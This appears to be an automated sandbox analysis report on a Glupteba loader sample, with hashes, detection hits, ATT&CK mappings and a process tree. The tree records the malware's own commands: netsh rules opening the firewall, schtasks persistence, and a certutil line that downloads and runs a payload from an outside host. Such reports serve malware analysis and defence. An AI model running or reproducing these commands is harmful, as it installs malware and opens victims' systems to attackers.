glupteba | b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f

General

Target

b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
Size

3.8MB
MD5

3e7f6f4c33e07e55139d24f830407f0d
SHA1

a5b53cc46bbda6335983072abc95fb04b951e6bd
SHA256

b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f
SHA512

dc7fce6d28e89bb781498fccced20883be17a035486ae3be87ce7cb5a02b7bfee4ede272a86241567d61709dda6283a09dcda13736d99fd5bc7d586989b34aad

Score

10^/10

glupteba dropper evasion loader

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1160-131-0x0000000005950000-0x0000000006045000-memory.dmp	family_glupteba
behavioral2/memory/1160-132-0x0000000000400000-0x00000000036C0000-memory.dmp	family_glupteba
behavioral2/memory/2024-137-0x0000000000400000-0x00000000036C0000-memory.dmp	family_glupteba
behavioral2/memory/932-144-0x0000000000400000-0x00000000036C0000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

svchost.exe

description pid process target process

PID 4900 created 1160 4900 svchost.exe b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

4372 bcdedit.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2388 schtasks.exe
2304 schtasks.exe

description	pid	process	target process
PID 4900 created 1160	4900	svchost.exe	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe

pid	process
4372	bcdedit.exe

pid	process
2388	schtasks.exe
2304	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exeb0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe

pid	process
1160	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
1160	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
2024	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
2024	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1160	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
Token: SeImpersonatePrivilege	1160	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
Token: SeTcbPrivilege	4900	svchost.exe
Token: SeTcbPrivilege	4900	svchost.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

svchost.exeb0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.execmd.exe

description	pid	process	target process
PID 4900 wrote to memory of 2024	4900	svchost.exe	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
PID 4900 wrote to memory of 2024	4900	svchost.exe	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
PID 4900 wrote to memory of 2024	4900	svchost.exe	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
PID 2024 wrote to memory of 3780	2024	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe	cmd.exe
PID 2024 wrote to memory of 3780	2024	b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe	cmd.exe
PID 3780 wrote to memory of 3200	3780	cmd.exe	netsh.exe
PID 3780 wrote to memory of 3200	3780	cmd.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
"C:\Users\Admin\AppData\Local\Temp\b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1160
- C:\Users\Admin\AppData\Local\Temp\b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe
  "C:\Users\Admin\AppData\Local\Temp\b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3780
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b\83876a664c4b.exe" enable=yes"
    3⤵
    PID:1432
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    PID:932
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:2388
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:2304
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      PID:4440
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4900

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
1⤵
PID:3200

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b\83876a664c4b.exe" enable=yes
1⤵
PID:228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
3e7f6f4c33e07e55139d24f830407f0d

SHA1
a5b53cc46bbda6335983072abc95fb04b951e6bd

SHA256
b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f

SHA512
dc7fce6d28e89bb781498fccced20883be17a035486ae3be87ce7cb5a02b7bfee4ede272a86241567d61709dda6283a09dcda13736d99fd5bc7d586989b34aad

Download Submit
C:\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
3e7f6f4c33e07e55139d24f830407f0d

SHA1
a5b53cc46bbda6335983072abc95fb04b951e6bd

SHA256
b0e6f5dfcde3d7e2dc6a28c194f252d508d2ec470bf1a55f6f56f7270408e15f

SHA512
dc7fce6d28e89bb781498fccced20883be17a035486ae3be87ce7cb5a02b7bfee4ede272a86241567d61709dda6283a09dcda13736d99fd5bc7d586989b34aad

Download Submit
memory/228-139-0x0000000000000000-mapping.dmp

Download
memory/932-144-0x0000000000400000-0x00000000036C0000-memory.dmp

Filesize
50.8MB

Download
memory/932-143-0x0000000005800000-0x0000000005BA6000-memory.dmp

Filesize
3.6MB

Download
memory/932-140-0x0000000000000000-mapping.dmp

Download
memory/1160-131-0x0000000005950000-0x0000000006045000-memory.dmp

Filesize
7.0MB

Download
memory/1160-132-0x0000000000400000-0x00000000036C0000-memory.dmp

Filesize
50.8MB

Download
memory/1160-130-0x00000000055A8000-0x000000000594E000-memory.dmp

Filesize
3.6MB

Download
memory/1432-138-0x0000000000000000-mapping.dmp

Download
memory/2024-133-0x0000000000000000-mapping.dmp

Download
memory/2024-137-0x0000000000400000-0x00000000036C0000-memory.dmp

Filesize
50.8MB

Download
memory/2024-134-0x0000000005422000-0x00000000057C8000-memory.dmp

Filesize
3.6MB

Download
memory/2304-145-0x0000000000000000-mapping.dmp

Download
memory/2388-146-0x0000000000000000-mapping.dmp

Download
memory/3200-136-0x0000000000000000-mapping.dmp

Download
memory/3780-135-0x0000000000000000-mapping.dmp

Download
memory/4372-149-0x0000000000000000-mapping.dmp

Download
memory/4440-147-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads